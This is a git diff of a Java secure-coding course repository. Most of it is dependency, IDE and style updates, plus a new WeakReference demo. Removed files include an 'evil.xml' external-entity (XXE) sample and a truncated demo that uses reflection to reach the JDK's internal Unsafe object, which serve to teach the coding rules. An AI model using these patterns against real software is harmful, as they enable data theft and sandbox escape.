diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..524f096 --- /dev/null +++ b/.gitignore @@ -0,0 +1,24 @@ +# Compiled class file +*.class + +# Log file +*.log + +# BlueJ files +*.ctxt + +# Mobile Tools for Java (J2ME) +.mtj.tmp/ + +# Package Files # +*.jar +*.war +*.nar +*.ear +*.zip +*.tar.gz +*.rar + +# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml +hs_err_pid* +replay_pid* diff --git a/.idea/.gitignore b/.idea/.gitignore new file mode 100644 index 0000000..5c98b42 --- /dev/null +++ b/.idea/.gitignore @@ -0,0 +1,2 @@ +# Default ignored files +/workspace.xml \ No newline at end of file diff --git a/.idea/compiler.xml b/.idea/compiler.xml index 2d98407..fdf63e5 100644 --- a/.idea/compiler.xml +++ b/.idea/compiler.xml @@ -7,18 +7,23 @@ + - - + \ No newline at end of file diff --git a/.idea/dictionaries/12766.xml b/.idea/dictionaries/12766.xml new file mode 100644 index 0000000..5d88514 --- /dev/null +++ b/.idea/dictionaries/12766.xml @@ -0,0 +1,7 @@ + + + + noncharacter + + + \ No newline at end of file diff --git a/.idea/encodings.xml b/.idea/encodings.xml new file mode 100644 index 0000000..033578e --- /dev/null +++ b/.idea/encodings.xml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/.idea/jarRepositories.xml b/.idea/jarRepositories.xml new file mode 100644 index 0000000..712ab9d --- /dev/null +++ b/.idea/jarRepositories.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/kotlinc.xml b/.idea/kotlinc.xml new file mode 100644 index 0000000..5806fb3 --- /dev/null +++ b/.idea/kotlinc.xml @@ -0,0 +1,7 @@ + + + + + \ No newline at end of file diff --git a/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_annotations_2_13_2.xml b/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_annotations_2_13_2.xml new file mode 100644 index 0000000..46a2dcc --- /dev/null +++ b/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_annotations_2_13_2.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_core_2_13_2.xml b/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_core_2_13_2.xml new file mode 100644 index 0000000..aadfdc1 --- /dev/null +++ b/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_core_2_13_2.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_databind_2_13_2_2.xml b/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_databind_2_13_2_2.xml new file mode 100644 index 0000000..42fc1e4 --- /dev/null +++ b/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_databind_2_13_2_2.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/Maven__com_google_code_findbugs_jsr305_1_3_9.xml b/.idea/libraries/Maven__com_google_code_findbugs_jsr305_3_0_2.xml similarity index 63% rename from .idea/libraries/Maven__com_google_code_findbugs_jsr305_1_3_9.xml rename to .idea/libraries/Maven__com_google_code_findbugs_jsr305_3_0_2.xml index 0e66824..1c380d0 100644 --- a/.idea/libraries/Maven__com_google_code_findbugs_jsr305_1_3_9.xml +++ b/.idea/libraries/Maven__com_google_code_findbugs_jsr305_3_0_2.xml @@ -1,13 +1,13 @@ - + - + - + - + \ No newline at end of file diff --git a/.idea/libraries/Maven__com_google_errorprone_error_prone_annotations_2_1_3.xml b/.idea/libraries/Maven__com_google_errorprone_error_prone_annotations_2_11_0.xml similarity index 61% rename from .idea/libraries/Maven__com_google_errorprone_error_prone_annotations_2_1_3.xml rename to .idea/libraries/Maven__com_google_errorprone_error_prone_annotations_2_11_0.xml index 2343a7f..4eb3ba5 100644 --- a/.idea/libraries/Maven__com_google_errorprone_error_prone_annotations_2_1_3.xml +++ b/.idea/libraries/Maven__com_google_errorprone_error_prone_annotations_2_11_0.xml @@ -1,13 +1,13 @@ - + - + - + - + \ No newline at end of file diff --git a/.idea/libraries/Maven__com_google_guava_failureaccess_1_0_1.xml b/.idea/libraries/Maven__com_google_guava_failureaccess_1_0_1.xml new file mode 100644 index 0000000..36e948e --- /dev/null +++ b/.idea/libraries/Maven__com_google_guava_failureaccess_1_0_1.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/Maven__com_google_guava_guava_25_0_jre.xml b/.idea/libraries/Maven__com_google_guava_guava_31_1_jre.xml similarity index 65% rename from .idea/libraries/Maven__com_google_guava_guava_25_0_jre.xml rename to .idea/libraries/Maven__com_google_guava_guava_31_1_jre.xml index 7de6f07..5757b3d 100644 --- a/.idea/libraries/Maven__com_google_guava_guava_25_0_jre.xml +++ b/.idea/libraries/Maven__com_google_guava_guava_31_1_jre.xml @@ -1,13 +1,13 @@ - + - + - + - + \ No newline at end of file diff --git a/.idea/libraries/Maven__com_google_guava_guava_testlib_26_0_jre.xml b/.idea/libraries/Maven__com_google_guava_guava_testlib_31_1_jre.xml similarity index 59% rename from .idea/libraries/Maven__com_google_guava_guava_testlib_26_0_jre.xml rename to .idea/libraries/Maven__com_google_guava_guava_testlib_31_1_jre.xml index 599ed25..d8ddc35 100644 --- a/.idea/libraries/Maven__com_google_guava_guava_testlib_26_0_jre.xml +++ b/.idea/libraries/Maven__com_google_guava_guava_testlib_31_1_jre.xml @@ -1,13 +1,13 @@ - + - + - + - + \ No newline at end of file diff --git a/.idea/libraries/Maven__com_google_guava_listenablefuture_9999_0_empty_to_avoid_conflict_with_guava.xml b/.idea/libraries/Maven__com_google_guava_listenablefuture_9999_0_empty_to_avoid_conflict_with_guava.xml new file mode 100644 index 0000000..4e15702 --- /dev/null +++ b/.idea/libraries/Maven__com_google_guava_listenablefuture_9999_0_empty_to_avoid_conflict_with_guava.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/Maven__com_google_j2objc_j2objc_annotations_1_1.xml b/.idea/libraries/Maven__com_google_j2objc_j2objc_annotations_1_3.xml similarity index 58% rename from .idea/libraries/Maven__com_google_j2objc_j2objc_annotations_1_1.xml rename to .idea/libraries/Maven__com_google_j2objc_j2objc_annotations_1_3.xml index c06f999..bacaa45 100644 --- a/.idea/libraries/Maven__com_google_j2objc_j2objc_annotations_1_1.xml +++ b/.idea/libraries/Maven__com_google_j2objc_j2objc_annotations_1_3.xml @@ -1,13 +1,13 @@ - + - + - + - + \ No newline at end of file diff --git a/.idea/libraries/Maven__commons_io_commons_io_2_11_0.xml b/.idea/libraries/Maven__commons_io_commons_io_2_11_0.xml new file mode 100644 index 0000000..f94fc5a --- /dev/null +++ b/.idea/libraries/Maven__commons_io_commons_io_2_11_0.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/Maven__junit_junit_4_11.xml b/.idea/libraries/Maven__junit_junit_4_11.xml deleted file mode 100644 index f33320d..0000000 --- a/.idea/libraries/Maven__junit_junit_4_11.xml +++ /dev/null @@ -1,13 +0,0 @@ - - - - - - - - - - - - - \ No newline at end of file diff --git a/.idea/libraries/Maven__junit_junit_4_13_2.xml b/.idea/libraries/Maven__junit_junit_4_13_2.xml new file mode 100644 index 0000000..606c352 --- /dev/null +++ b/.idea/libraries/Maven__junit_junit_4_13_2.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/Maven__org_checkerframework_checker_compat_qual_2_0_0.xml b/.idea/libraries/Maven__org_checkerframework_checker_compat_qual_2_0_0.xml deleted file mode 100644 index 29defe6..0000000 --- a/.idea/libraries/Maven__org_checkerframework_checker_compat_qual_2_0_0.xml +++ /dev/null @@ -1,13 +0,0 @@ - - - - - - - - - - - - - \ No newline at end of file diff --git a/.idea/libraries/Maven__org_checkerframework_checker_qual_2_5_2.xml b/.idea/libraries/Maven__org_checkerframework_checker_qual_3_12_0.xml similarity index 59% rename from .idea/libraries/Maven__org_checkerframework_checker_qual_2_5_2.xml rename to .idea/libraries/Maven__org_checkerframework_checker_qual_3_12_0.xml index ad0d4fd..1b2a35b 100644 --- a/.idea/libraries/Maven__org_checkerframework_checker_qual_2_5_2.xml +++ b/.idea/libraries/Maven__org_checkerframework_checker_qual_3_12_0.xml @@ -1,13 +1,13 @@ - + - + - + - + \ No newline at end of file diff --git a/.idea/libraries/Maven__org_codehaus_mojo_animal_sniffer_annotations_1_14.xml b/.idea/libraries/Maven__org_codehaus_mojo_animal_sniffer_annotations_1_14.xml deleted file mode 100644 index 1af11e4..0000000 --- a/.idea/libraries/Maven__org_codehaus_mojo_animal_sniffer_annotations_1_14.xml +++ /dev/null @@ -1,13 +0,0 @@ - - - - - - - - - - - - - \ No newline at end of file diff --git a/.idea/libraries/Maven__org_javassist_javassist_3_28_0_GA.xml b/.idea/libraries/Maven__org_javassist_javassist_3_28_0_GA.xml new file mode 100644 index 0000000..7113781 --- /dev/null +++ b/.idea/libraries/Maven__org_javassist_javassist_3_28_0_GA.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/libraries/guava_25_0_jre.xml b/.idea/libraries/guava_25_0_jre.xml deleted file mode 100644 index 8f1133b..0000000 --- a/.idea/libraries/guava_25_0_jre.xml +++ /dev/null @@ -1,14 +0,0 @@ - - - - - - - - - - - - - - \ No newline at end of file diff --git a/.idea/libraries/guava_testlib_25_0_jre.xml b/.idea/libraries/guava_testlib_25_0_jre.xml deleted file mode 100644 index fa2313d..0000000 --- a/.idea/libraries/guava_testlib_25_0_jre.xml +++ /dev/null @@ -1,14 +0,0 @@ - - - - - - - - - - - - - - \ No newline at end of file diff --git a/.idea/misc.xml b/.idea/misc.xml index 927f80c..c7cac06 100644 --- a/.idea/misc.xml +++ b/.idea/misc.xml @@ -1,5 +1,10 @@ + + + + + - + \ No newline at end of file diff --git a/.idea/modules.xml b/.idea/modules.xml new file mode 100644 index 0000000..0075abf --- /dev/null +++ b/.idea/modules.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/.idea/uiDesigner.xml b/.idea/uiDesigner.xml new file mode 100644 index 0000000..e96534f --- /dev/null +++ b/.idea/uiDesigner.xml @@ -0,0 +1,124 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/JavaSCR/.gitignore b/JavaSCR/.gitignore index cfcff66..6414b46 100644 --- a/JavaSCR/.gitignore +++ b/JavaSCR/.gitignore @@ -1,12 +1,33 @@ - # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio and WebStorm # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839 +# Compiled class file +*.class + +# Log file +*.log + +# BlueJ files +*.ctxt + +# Mobile Tools for Java (J2ME) +.mtj.tmp/ + +# Package Files # +*.jar +*.war +*.nar +*.ear +*.zip +*.tar.gz +*.rar + +# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml +hs_err_pid* +replay_pid* + /bin/ .idea/workspace.xml -hashdata.ser -tempdata.ser -zoo.json # User-specific stuff .idea/**/workspace.xml diff --git a/JavaSCR/.settings/org.eclipse.core.resources.prefs b/JavaSCR/.settings/org.eclipse.core.resources.prefs index 508d8a4..40c5ce5 100644 --- a/JavaSCR/.settings/org.eclipse.core.resources.prefs +++ b/JavaSCR/.settings/org.eclipse.core.resources.prefs @@ -1,3 +1,3 @@ eclipse.preferences.version=1 -encoding//src/STR00J/ReadString.java=UTF-8 -encoding//src/STR01J/TrimString.java=UTF-8 +encoding//src/partialRead/ReadString.java=UTF-8 +encoding//src/javaChar/TrimString.java=UTF-8 diff --git a/JavaSCR/JavaSCR.iml b/JavaSCR/JavaSCR.iml new file mode 100644 index 0000000..2f3eb8a --- /dev/null +++ b/JavaSCR/JavaSCR.iml @@ -0,0 +1,13 @@ + + + + + + + + + + + + + \ No newline at end of file diff --git a/JavaSCR/build.xml b/JavaSCR/build.xml index e4bf1a0..29d868c 100644 --- a/JavaSCR/build.xml +++ b/JavaSCR/build.xml @@ -45,17 +45,17 @@ - + - + - + @@ -65,7 +65,7 @@ - + @@ -75,7 +75,7 @@ - + @@ -100,7 +100,7 @@ - + @@ -127,7 +127,7 @@ - + @@ -169,7 +169,7 @@ - + @@ -185,7 +185,7 @@ - + @@ -200,12 +200,12 @@ - + - + @@ -226,7 +226,7 @@ - + @@ -241,12 +241,12 @@ - + - + @@ -283,12 +283,12 @@ - + - + @@ -298,7 +298,7 @@ - + @@ -308,12 +308,12 @@ - + - + @@ -328,17 +328,17 @@ - + - + - + diff --git a/JavaSCR/lib/guava-25.0-jre-javadoc.jar b/JavaSCR/lib/guava-25.0-jre-javadoc.jar new file mode 100644 index 0000000..c83e246 Binary files /dev/null and b/JavaSCR/lib/guava-25.0-jre-javadoc.jar differ diff --git a/JavaSCR/lib/guava-25.0-jre-sources.jar b/JavaSCR/lib/guava-25.0-jre-sources.jar new file mode 100644 index 0000000..6057630 Binary files /dev/null and b/JavaSCR/lib/guava-25.0-jre-sources.jar differ diff --git a/JavaSCR/lib/guava-25.0-jre.jar b/JavaSCR/lib/guava-25.0-jre.jar new file mode 100644 index 0000000..79a744e Binary files /dev/null and b/JavaSCR/lib/guava-25.0-jre.jar differ diff --git a/JavaSCR/lib/guava-testlib-25.0-jre-javadoc.jar b/JavaSCR/lib/guava-testlib-25.0-jre-javadoc.jar new file mode 100644 index 0000000..ddd1d26 Binary files /dev/null and b/JavaSCR/lib/guava-testlib-25.0-jre-javadoc.jar differ diff --git a/JavaSCR/lib/guava-testlib-25.0-jre-sources.jar b/JavaSCR/lib/guava-testlib-25.0-jre-sources.jar new file mode 100644 index 0000000..a197693 Binary files /dev/null and b/JavaSCR/lib/guava-testlib-25.0-jre-sources.jar differ diff --git a/JavaSCR/lib/guava-testlib-25.0-jre.jar b/JavaSCR/lib/guava-testlib-25.0-jre.jar new file mode 100644 index 0000000..b3c6007 Binary files /dev/null and b/JavaSCR/lib/guava-testlib-25.0-jre.jar differ diff --git a/JavaSCR/lib/junit.jar b/JavaSCR/lib/junit.jar new file mode 100644 index 0000000..674d71e Binary files /dev/null and b/JavaSCR/lib/junit.jar differ diff --git a/JavaSCR/pom.xml b/JavaSCR/pom.xml index 3478cf3..b4648a1 100644 --- a/JavaSCR/pom.xml +++ b/JavaSCR/pom.xml @@ -7,37 +7,62 @@ groupId JavaSCR 1.0-SNAPSHOT - org.apache.maven.plugins maven-compiler-plugin - 1.8 - 1.8 + 25 + 25 + + + + + + + + + + + + + + + + + + + + + + + + + + com.fasterxml.jackson.core jackson-core - 2.7.3 + RELEASE com.fasterxml.jackson.core jackson-databind - 2.7.3 + RELEASE com.fasterxml.jackson.core jackson-annotations - 2.7.9 + RELEASE @@ -45,29 +70,23 @@ guava [25.1-jre,) - - - com.google.guava - guava - 25.0-jre - xalan xalan - 2.7.2 + RELEASE org.apache.commons commons-collections4 - 4.0 + RELEASE commons-io commons-io - 2.5 + RELEASE @@ -88,5 +107,29 @@ compile - + + + + + jdk8 + + 1.8 + + + + + org.apache.maven.plugins + maven-compiler-plugin + + true + + -J-Xbootclasspath/p:${settings.localRepository}/com/google/errorprone/javac/8/javac-8.jar + + + + + + + + \ No newline at end of file diff --git a/JavaSCR/src/main/java/DCL00J/Cycle.java b/JavaSCR/src/main/java/DCL00J/Cycle.java index f687847..8fb4dfa 100644 --- a/JavaSCR/src/main/java/DCL00J/Cycle.java +++ b/JavaSCR/src/main/java/DCL00J/Cycle.java @@ -26,11 +26,11 @@ class Cycle { private final int balance; - // Class variable is initialized to a new instance of the Cycle class - private static final Cycle c = new Cycle(); - // Deposit initialized at runtime private static final int deposit = (int) (Math.random() * 100) + 10; + // Class variable is initialized to a new instance of the Cycle class + private static final Cycle c = new Cycle(); + private Cycle() { // Calculate the account balance by subtracting the diff --git a/JavaSCR/src/main/java/EXP01J/Cardinality.java b/JavaSCR/src/main/java/EXP01J/Cardinality.java index 312d13b..5537123 100644 --- a/JavaSCR/src/main/java/EXP01J/Cardinality.java +++ b/JavaSCR/src/main/java/EXP01J/Cardinality.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2015 Secure Coding Institute +// Copyright (c) 2019 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal diff --git a/JavaSCR/src/main/java/EXP03J/IntegerComparator.java b/JavaSCR/src/main/java/EXP03J/IntegerComparator.java index 10b2490..7dd50e7 100644 --- a/JavaSCR/src/main/java/EXP03J/IntegerComparator.java +++ b/JavaSCR/src/main/java/EXP03J/IntegerComparator.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2016 Robert C. Seacord +// Copyright (c) 2019 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -34,39 +34,39 @@ class IntegerComparator { final private static Comparator cmp = (i, j) -> i < j ? -1 : (i > j ? 1 : 0); public static void main(String[] args) { - System.out.println("cmpWrong less than: " //$NON-NLS-1$ + System.out.println("cmpWrong less than: " + cmpWrong.compare(2147483646, 2147483647)); - System.out.println("cmpWrong equal to: " //$NON-NLS-1$ + System.out.println("cmpWrong equal to: " + cmpWrong.compare(2147483647, 2147483647)); - System.out.println("cmpWrong greater than: " //$NON-NLS-1$ + System.out.println("cmpWrong greater than: " + cmpWrong.compare(2147483647, 2147483646)); - System.out.println("cmpWrong equal to with memoized value: " //$NON-NLS-1$ + System.out.println("cmpWrong equal to with memoized value: " + cmpWrong.compare(7, 7)); - System.out.println("cmp less than: " //$NON-NLS-1$ + System.out.println("cmp less than: " + cmp.compare(2147483646, 2147483647)); - System.out.println("cmp equal to: " //$NON-NLS-1$ + System.out.println("cmp equal to: " + cmp.compare(2147483647, 2147483647)); - System.out.println("cmp greater than: " //$NON-NLS-1$ + System.out.println("cmp greater than: " + cmp.compare(2147483647, 2147483646)); // Constructors for class Boolean return distinct objects. - Boolean b1 = new Boolean("true"); //$NON-NLS-1$ - Boolean b2 = new Boolean("true"); //$NON-NLS-1$ + Boolean b1 = new Boolean("true"); + Boolean b2 = new Boolean("true"); if (b1 != b2) { // never equal - System.out.println("Never equal"); //$NON-NLS-1$ + System.out.println("Never equal"); } // When comparing a primitive to a boxed value the latter is unboxed. if (b1 == (boolean)b2) { // always equal - System.out.println("Equal for the same values"); //$NON-NLS-1$ + System.out.println("Equal for the same values"); } b2 = false; if (b1 == (boolean)b2) { // always - System.out.println("Not equal for different values"); //$NON-NLS-1$ + System.out.println("Not equal for different values"); } // The values of autoboxed Boolean variables may be compared using the @@ -75,21 +75,21 @@ public static void main(String[] args) { b1 = true; b2 = true; if (b1 == b2) { // always equal - System.out.println("Always equal"); //$NON-NLS-1$ + System.out.println("Always equal"); } b1 = Boolean.TRUE; if (b1 == b2) { // always equal - System.out.println("Always equal"); //$NON-NLS-1$ + System.out.println("Always equal"); } // The object b is unboxed because the value on the right // of the == is a primitive type (boolean). So the comparison // is always comparing the primitive value true with itself. - Boolean b = new Boolean("true"); //$NON-NLS-1$ + Boolean b = new Boolean("true"); if (b == true) { - System.out.println("Always equal"); //$NON-NLS-1$ + System.out.println("Always equal"); } } diff --git a/JavaSCR/src/main/java/IDS17J/copyright b/JavaSCR/src/main/java/IDS17J/copyright deleted file mode 100644 index 8ae9e06..0000000 --- a/JavaSCR/src/main/java/IDS17J/copyright +++ /dev/null @@ -1 +0,0 @@ -Copyright (c) 2017 Robert C. Seacord \ No newline at end of file diff --git a/JavaSCR/src/main/java/IDS17J/evil.xml b/JavaSCR/src/main/java/IDS17J/evil.xml deleted file mode 100644 index eb26af5..0000000 --- a/JavaSCR/src/main/java/IDS17J/evil.xml +++ /dev/null @@ -1,4 +0,0 @@ - - ]> - &xxe; \ No newline at end of file diff --git a/JavaSCR/src/main/java/IDS17J/good.xml b/JavaSCR/src/main/java/IDS17J/good.xml deleted file mode 100644 index a3cc0a7..0000000 --- a/JavaSCR/src/main/java/IDS17J/good.xml +++ /dev/null @@ -1,4 +0,0 @@ - - ]> - ©right; \ No newline at end of file diff --git a/JavaSCR/src/main/java/OBJ01J/PrivReflection.java b/JavaSCR/src/main/java/OBJ01J/PrivReflection.java index 0dd1b35..6683912 100644 --- a/JavaSCR/src/main/java/OBJ01J/PrivReflection.java +++ b/JavaSCR/src/main/java/OBJ01J/PrivReflection.java @@ -30,7 +30,7 @@ import java.util.Enumeration; class PrivReflection { - public static void main(String args[]) throws Exception { + public static void main(String[] args) throws Exception { SecurityManager sm = System.getSecurityManager(); if (sm != null) { System.out.println("Security manager installed."); @@ -54,7 +54,7 @@ public static void main(String args[]) throws Exception { // Returns an array of Field objects reflecting // all the fields declared by the class (including private) - final Field fields[] = FieldTest.class.getDeclaredFields(); + final Field[] fields = FieldTest.class.getDeclaredFields(); // Enumerate fields for (Field field : fields) { diff --git a/JavaSCR/src/main/java/OBJ08J/Coordinates.java b/JavaSCR/src/main/java/OBJ08J/Coordinates.java index 55da875..32e0496 100644 --- a/JavaSCR/src/main/java/OBJ08J/Coordinates.java +++ b/JavaSCR/src/main/java/OBJ08J/Coordinates.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2016 Robert C. Seacord +// Copyright (c) 2019 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal diff --git a/JavaSCR/src/main/java/OBJ08J/InsiderThreat.java b/JavaSCR/src/main/java/OBJ08J/InsiderThreat.java index 5d1feef..6e92ed5 100644 --- a/JavaSCR/src/main/java/OBJ08J/InsiderThreat.java +++ b/JavaSCR/src/main/java/OBJ08J/InsiderThreat.java @@ -33,8 +33,8 @@ public static void main(String[] args) throws NoSuchMethodException, SecurityExc Coordinates ic = new Coordinates(); System.out.println("(" + ic.getX() + "," + ic.getY() + ")"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ - - final Method methods[] = Coordinates.class.getDeclaredMethods(); + + final Method[] methods = Coordinates.class.getDeclaredMethods(); // Enumerate methods for (Method method : methods) { @@ -48,7 +48,7 @@ public static void main(String[] args) throws NoSuchMethodException, SecurityExc System.out.println("(" + x + "," + y + ")"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ LambdaScopeTest lst = new LambdaScopeTest(); - final Method lmethods[] = LambdaScopeTest.class.getDeclaredMethods(); + final Method[] lmethods = LambdaScopeTest.class.getDeclaredMethods(); // Enumerate methods for (Method lmethod : lmethods) { diff --git a/JavaSCR/src/main/java/OBJ08JA/Spy.java b/JavaSCR/src/main/java/OBJ08JA/Spy.java index 2369a1b..f443fe5 100644 --- a/JavaSCR/src/main/java/OBJ08JA/Spy.java +++ b/JavaSCR/src/main/java/OBJ08JA/Spy.java @@ -34,8 +34,8 @@ public static void main(String[] args) throws NoSuchMethodException, SecurityExc System.out.println(ic.getX()); System.out.println(ic.getY()); - - final Method methods[] = Coordinates.class.getDeclaredMethods(); + + final Method[] methods = Coordinates.class.getDeclaredMethods(); // Enumerate methods for (Method method : methods) { diff --git a/JavaSCR/src/main/java/WeakRef/WeakRef.java b/JavaSCR/src/main/java/WeakRef/WeakRef.java new file mode 100644 index 0000000..1a7a368 --- /dev/null +++ b/JavaSCR/src/main/java/WeakRef/WeakRef.java @@ -0,0 +1,157 @@ +package WeakRef; + +import java.lang.ref.WeakReference; + +public class WeakRef { + + class Engine { + int count=0; + public void run() + { + System.out.print("\r"); + System.out.print("Engine "+count++); + } + } + + Engine EngineStrong; + + public static void main(String[] args) { + + StackTraceElement[] stack = Thread.currentThread ().getStackTrace (); + StackTraceElement main = stack[stack.length - 1]; + String mainClass = main.getClassName (); + int mode=0; + + if (args.length !=1) + { + System.out.println(mainClass+": Missing Argument noref | local | class | classgc"); + System.exit(0); + } + + else if (args[0].equals("noref")) mode=1; + else if (args[0].equals("local")) mode=2; + else if (args[0].equals("class")) mode=3; + else if (args[0].equals("classgc")) mode=4; + else + { + System.out.println(mainClass+": Invalid argument "+args[0]+" must be either noref | local | class | classgc"); + System.exit(0); + } + + WeakRef demo=new WeakRef(); + demo.MainRun(mode); + } + + public void MainRun(int mode) + { + Engine EngineLocal; + WeakReference EngineWeak=null; + // EngineLocal=new Engine(); + if (mode==2) + { + EngineLocal=new Engine(); + EngineWeak=new WeakReference (EngineLocal); + System.out.println("Mode local ref"); + System.out.println(); + } + + while(mode!=7) + { + Runtime.getRuntime().gc(); + EngineWeak.get().run(); + } + + + } + +} + +/* + + +import java.lang.ref.WeakReference; + +public class DemoWeak { + + class Engine { + int count=0; + public void run() + { + // System.out.print("\33[1A\33[2K"); + System.out.printf("\r"); + System.out.println("Engine "+count++); + } + } + + Engine EngineStrong; + + public static void main(String[] args) { + + StackTraceElement[] stack = Thread.currentThread ().getStackTrace (); + StackTraceElement main = stack[stack.length - 1]; + String mainClass = main.getClassName (); + int mode=0; + + if (args.length !=1) + { + System.out.println(mainClass+": Missing Argument noref | local | class | classgc"); + System.exit(0); + } + + else if (args[0].equals("noref")) mode=1; + else if (args[0].equals("local")) mode=2; + else if (args[0].equals("class")) mode=3; + else if (args[0].equals("classgc")) mode=4; + else + { + System.out.println(mainClass+": Invalid argument "+args[0]+" must be either noref | local | class | classgc"); + System.exit(0); + } + + DemoWeak demo=new DemoWeak(); + demo.MainRun(mode); + } + + public void MainRun(int mode) + { + Engine EngineLocal; + WeakReference EngineWeak=null; + if (mode==1) + { + EngineWeak=new WeakReference (new Engine()); + System.out.println("Mode noref"); + } + else if (mode==2) + { + EngineLocal=new Engine(); + EngineWeak=new WeakReference (EngineLocal); + System.out.println("Mode local ref"); + } + else if (mode==3) + { + EngineStrong=new Engine(); + EngineWeak=new WeakReference (EngineStrong); + System.out.println("Mode class strong ref"); + } + else if (mode==4) + { + EngineStrong=new Engine(); + EngineWeak=new WeakReference (EngineStrong); + System.out.println("Mode class strong ref with gc"); + } + else + { + System.out.println("Invalid Mode"); + System.exit(0); + } + System.out.println(); + while(true) + { + if (mode==4) Runtime.getRuntime().gc(); + EngineWeak.get().run(); + } + } + +} + +*/ diff --git a/JavaSCR/src/main/java/acc01j/java.policy b/JavaSCR/src/main/java/acc01j/java.policy deleted file mode 100644 index aec7507..0000000 --- a/JavaSCR/src/main/java/acc01j/java.policy +++ /dev/null @@ -1,12 +0,0 @@ -// Policy file for acc01j -grant codeBase "file:${user.home}/git/JavaSCR/-" { - // required to view all granted permissions - permission java.lang.RuntimePermission "getProtectionDomain"; - permission java.security.SecurityPermission "getPolicy"; - // try "write" first, followed by "read, write" - // permission java.util.PropertyPermission "acc01j.lib.options", "write"; - // permission java.util.PropertyPermission "acc01j.lib.options", "read, write"; -}; -grant codeBase "file:${user.home}/java/-" { - permission java.util.PropertyPermission "acc01j.lib.options", "read"; -}; \ No newline at end of file diff --git a/JavaSCR/src/main/java/acc02j/java.policy b/JavaSCR/src/main/java/acc02j/java.policy deleted file mode 100644 index c7251a0..0000000 --- a/JavaSCR/src/main/java/acc02j/java.policy +++ /dev/null @@ -1,9 +0,0 @@ -keystore "file:/C:/Users/rseacord/classkeystore", "pkcs12"; -keystorePasswordURL "file:/C:/Users/rseacord/kspass.txt"; - -grant codeBase "file:/C:/Users/rseacord/git/JavaSCR/-" { - permission java.util.PropertyPermission "acc01j.lib.options", "write"; -}; -grant signedBy "course", codeBase "file:/C:/Users/rseacord/java/-" { - permission java.util.PropertyPermission "acc01j.lib.options", "read"; -}; \ No newline at end of file diff --git a/JavaSCR/src/main/java/acc03j/RestrictedPackages.java b/JavaSCR/src/main/java/acc03j/RestrictedPackages.java deleted file mode 100644 index 58f6963..0000000 --- a/JavaSCR/src/main/java/acc03j/RestrictedPackages.java +++ /dev/null @@ -1,9 +0,0 @@ -package acc03j; - -public class RestrictedPackages { - - public static void main(String[] args) { - System.out.println(java.security.Security.getProperty("package.access")); - } - -} diff --git a/JavaSCR/src/main/java/acc04j/Main.java b/JavaSCR/src/main/java/acc04j/Main.java deleted file mode 100644 index abc34b9..0000000 --- a/JavaSCR/src/main/java/acc04j/Main.java +++ /dev/null @@ -1,104 +0,0 @@ -package acc04j; - -import java.lang.reflect.*; -import java.nio.ByteBuffer; - -import java.io.*; - -class Main { - - public static class Foo { - public final int a; - public final long b; - - public Foo() { - this.a = 0x41414141; - this.b = 0x4242424242424242L; - } - } - - public static void main(String[] argv) { - try { - ByteBuffer bb = ByteBuffer.allocateDirect(8192); - bb.putInt(0x41414141); - bb.putInt(0x42424242); - System.out.println(bb.getClass()); - Field unsafe_field = bb.getClass().getDeclaredField("unsafe"); - System.out.println(unsafe_field); - unsafe_field.setAccessible(true); - Object unsafe = unsafe_field.get(null); - System.out.println(unsafe); - System.out.println(unsafe.getClass()); - //note: unfortunately, we can't reflect on it due to the access control checks in the jdk - // otherwise the below would work - - Foo f = new Foo(); - System.out.println(f.a); - System.out.println(f.b); - - /* - Method getLong_2 = unsafe.getClass().getMethod("getLong", Object.class, long.class); - Method getInt_2 = unsafe.getClass().getMethod("getInt", Object.class, long.class); - Method objectFieldOffset_1 = unsafe.getClass().getMethod("objectFieldOffset", Field.class); - Method putInt_3 = unsafe.getClass().getMethod("putInt", Object.class, long.class, int.class); - Method putLong_3 = unsafe.getClass().getMethod("putLong", Object.class, long.class, 